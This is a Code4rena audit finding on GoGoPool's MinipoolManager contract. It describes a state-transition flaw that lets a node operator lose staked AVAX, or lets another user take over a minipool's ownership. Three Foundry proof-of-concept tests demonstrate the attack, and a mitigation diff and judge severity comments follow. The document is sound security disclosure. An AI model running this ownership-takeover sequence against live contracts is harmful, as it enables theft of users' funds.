Node Operator could lose his money by mistake or by a malicious user

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164

Vulnerability details

Impact

Node Operator will lose all AVAX funds of his minipool + he can't use his minipool for a period of time

Proof of Concept

Case 01:
The status of the minipool is Withdrawable the node op can invoke createMinipool() (by mistake) before callingwithdrawMinipoolFunds() to receive his money back first.
Here the node op will lose both avaxNodeOpAmt and avaxNodeOpRewardAmt on this specific nodeID

Case 02:
The status of the minipool is Error the node op can invoke createMinipool() (by mistake) before calling withdrawMinipoolFunds() to receive his money back first.
Here the node op will only lose avaxNodeOpAmt because the avaxNodeOpRewardAmt are 0.

Case 03:
The status of the minipool are Withdrawable or Error any malicious user (or a normal node op passed a different nodeID ) could invoke createMinipool().
He will be the owner of this node op

setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);

and the first node op will lose his funds forever + he needs to wait until the Multisig change the state to Error , Canceled or Finished to reuse the same minipool

Please copy the following POC on MinipoolManager.t.sol

function test_from_Withdrawable_to_Prelaunch() public {//!@audit-info -this is a POC of Case 01
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);


        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		uint256 rewards = 10 ether;
		
		//vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether);
        uint256 commissionFee = (5 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee));
		vm.stopPrank();
		// Here the Node Operator will invoke `createMinipool()`
		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		//Node Operator will try to claim all AVAX funds of his minipool
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}
	function test_from_Error_to_Prelaunch() public {//!@audit-info -this is a POC of Case 02
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);

        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		
	    // Assume something goes wrong and we are unable to launch a minipool

		bytes32 errorCode = "INVALID_NODEID";

		// Now send correct amt
		minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode);
		assertEq(address(rialto).balance - originalRialtoBalance, 0);
		vm.stopPrank();

		// Here the Node Operator will invoke `createMinipool()`
		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		//Node Operator will try to claim all AVAX funds of his minipool
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}

function test_from_Withdrawable_to_Prelaunch_by_anyone() public {//!@audit-info -this is a POC of case 03
		address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);//malicious user
		uint256 originalRialtoBalance = address(rialto).balance;
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);

		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(vault.balanceOf("MinipoolManager"), depositAmt);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		assertEq(vault.balanceOf("MinipoolManager"), 0);
		assertEq(address(rialto).balance - originalRialtoBalance, validationAmt);


        //now the funds are locked
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);
		skip(duration);
		uint256 rewards = 10 ether;
		
		//vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether);
        uint256 commissionFee = (5 ether * 15) / 100;
		//checking the node operators rewards are corrrect
		assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee));
		vm.stopPrank();
		// Here the Node Operator will invoke `createMinipool()`


		
		vm.startPrank(nodeOp2);

		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);
		mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
        vm.stopPrank();

		//Node Operator will try to claim all AVAX funds of his minipool but he is now no longer the owner +  
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();
        
	}

Recommended Mitigation Steps

		} else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
- isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); 
+ isValid = (to == MinipoolStatus.Finished);                  
		} else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) { 
			// Once a node is finished/canceled, if they re-validate they go back to beginning state
			isValid = (to == MinipoolStatus.Prelaunch);
		} else {
			isValid = false;
		}
	

[c4-judge]

GalloDaSballo marked the issue as duplicate of #213

[c4-judge]

GalloDaSballo changed the severity to 3 (High Risk)

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo changed the severity to 3 (High Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)

[Simon-Busch]

Changed severity back from QA to H as requested by @GalloDaSballo